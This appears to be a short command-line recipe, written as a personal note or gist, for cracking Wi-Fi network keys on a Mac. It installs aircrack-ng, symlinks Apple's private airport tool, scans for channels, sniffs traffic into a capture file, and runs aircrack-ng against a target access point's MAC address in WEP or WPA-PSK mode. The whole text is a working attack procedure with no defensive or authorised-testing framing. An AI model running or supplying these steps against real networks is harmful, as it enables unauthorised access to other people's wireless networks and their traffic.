// Install the latest Xcode, with the Command Line Tools.
// Install Homebrew
// Install aircrack-ng:
brew install aircrack-ng

// Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/sbin/airport

// Figure out which channel you need to sniff:
sudo airport -s

// Sniff
// NOTE: the cap_file will be located in the /tmp/airportSniff*.cap.
sudo airport en1 sniff [CHANNEL]

// Crack
// Optional flags: -1    only 1 try with PTW
//                 -a    attack mode (1/WEP, 2/WPA-PSK)
aircrack-ng -b [TARGET_MAC_ADDRESS] [CAP_FILE]